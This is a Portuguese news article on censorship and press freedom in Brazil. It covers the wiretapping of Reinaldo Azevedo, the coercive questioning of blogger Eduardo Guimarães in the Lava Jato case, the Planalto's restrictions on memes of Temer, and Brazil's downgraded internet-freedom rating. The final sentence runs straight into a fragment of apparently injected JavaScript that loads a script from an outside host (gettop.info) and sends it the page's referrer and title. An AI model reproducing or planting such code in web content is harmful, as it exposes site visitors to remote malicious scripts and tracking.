O silencioso crescimento do cala a boca

O aumento de investigações envolvendo jornalistas, veículos de imprensa e produtores de conteúdo em geral põe luz sobre o velado crescimento da censura no Brasil. O veto do presidente Michel Temer a seus memes na internet, a divulgação do diálogo de Reinaldo Azevedo, da revista Veja com Andréa Neves, irmã do senador Aécio Neves (PSDB-MG), e a condução coercitiva do blogueiro Eduardo Guimarães não podem ser analisados separadamente. Tampouco deixados de lado.

No mais emblemático dos recentes casos, o ex-jornalista de Veja – crítico ferrenho da Operação Lava Jato – teve o sigilo de sua fonte quebrado e perdeu o emprego após ser gravado criticando a revista onde trabalhava. Andréa está presa em Belo Horizonte. “A Lava Jato tem um lado autoritário que não aceita contestação, divergência”, afirmou Azevedo após ser grampeado. Porém, ele não acredita em censura, mas numa “agressão ao direito da fonte, que e é garantido pela Constituição”.

Também na mira da Lava Jato, o blogueiro Eduardo Guimarães, do Blog da Cidadania, sofreu busca e apreensão em sua casa e foi conduzido coercitivamente pelos investigadores. Tudo isso para explicar uma matéria intitulada “Lava Jato prevê ‘busca e apreensão’ em imóveis de Lula e família”. Para os investigadores, houve vazamento de informações – algo aparentemente corriqueiro no âmbito da Lava Jato.

Jornal Nacional

Na terça-feira (6), em meio ao julgamento da chapa Dilma-Temer no Tribunal Superior Eleitoral (TSE), o Jornal Nacional, da Rede Globo, reservou dois minutos para revelar os detalhes da apuração do blogueiro Eduardo Guimarães sobre a 24ª fase da Operação Lava Jato – que levou Lula para depor coercitivamente.

Na reportagem, o JN conta que o caso de Eduardo Guimarães passou a ser investigado porque assessores de Lula teriam sido avisados de que a operação estava prestes a ser deflagrada. As informações eram sigilosas. O blogueiro tomou conhecimento dos fatos porque a auditora Rosicler Veigel contou ao namorado e jornalista Francisco Duarte que uma “bomba” relacionada ao ex-presidente Lula estava prestes a acontecer.

Francisco, por sua vez, repassou o boato para Eduardo Guimarães acompanhado de documentos que pediam a quebra de sigilo fiscal e bancário de Lula e pessoas relacionadas ao ex-presidente. Antes de publicar a matéria, o Blog da Cidadania procurou a assessoria de Lula – que, então, informou o presidente sobre o vazamento dos documentos. Acionado pela Justiça, o namorado da promotora recusou a informar como conseguiu os documentos. Diante da quebra de seu sigilo telefônico e após a apreensão de documentos em sua casa, o blogueiro admitiu que Francisco era sua fonte.

Atentado à liberdade de imprensa

Em entrevista ao Brasília Capital, Eduardo Guimarães afirmou que “a pressão sobre os jornalistas revela a gravidade do atual período em que estamos vivendo. É um regime semidemocrático, onde a censura não é amplamente divulgada, mas existe”. Para o blogueiro, as recentes ações da Lava Jato são um “atentado à liberdade de imprensa e ao direito de preservação da fonte jornalística”.

Aparentemente confusa, a relação entre Eduardo Guimarães, Francisco Duarte e Rosicler Veigel é considerada normal para qualquer jornalista. “A relação fonte-repórter envolve, além da troca de informações, conversas informais. A criminalização desta relação é predatória para o bom exercer da profissão”, afirma o professor de jornalismo Luiz Martins da Silva, da Universidade de Brasília (UnB).

O especialista lembra que o direito de sigilo da fonte é um segredo profissional. “Assim como um psiquiatra reserva os dados do paciente e um padre guarda informações do confessionário, o jornalista precisa manter o sigilo da fonte”, compara Martins.

Até a presidente do Supremo Tribunal Federal e do Conselho Nacional de Justiça, ministra Cármen Lúcia, está monitorando o assunto. A magistrada determinou a instalação da comissão do Fórum Nacional do Poder Judiciário e Liberdade de Imprensa, do CNJ. A comissão vai apurar possíveis restrições à liberdade de imprensa. “É proibido qualquer tipo de censura e, no entanto, continua havendo censura e jornalistas que não podem exercer os seus diretos. É preciso resolver isso”, disse.

Censura online

Segundo um ranking publicado pela organização Freedomhouse.org, em 2015 o Brasil era considerado um país com a internet “livre”. Na última pesquisa, porém, o país foi rebaixado para “parcialmente livre”. O relatório cita que “tribunais impuseram bloqueios temporários ao WhatsApp por não entregar dados de usuários a investigações criminais, mostrando pouco respeito por seus princípios de proporcionalidade e necessidade”.

Até o Palácio do Planalto, recentemente, atacou a liberdade dos internautas. Em e-mail, a assessoria pediu para que as imagens do presidente Temer fossem utilizadas exclusivamente para produções jornalísticas. “Para outras finalidades, é necessária a autorização prévia da Secretaria de Imprensa da Presidência da República”, diz o texto. Temer foi criticado até pelo prefeito de São Paulo, João Dória (PSDB).

“A imprensa sempre deve dar o direito amplo a resposta. Pode protestar, pode criticar. Mas censurar a imprensa, não. Proibir, não. Não é um bom caminho”, disse Dória. Mais tarde, no entanto, o prefeito passou a enviar notificações extrajudiciais a pessoas que, no entender de sua equipe jurídica, cometeram crimes de ofensa ou incitação à violência nas redes sociais contra o prefeito/empresário.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;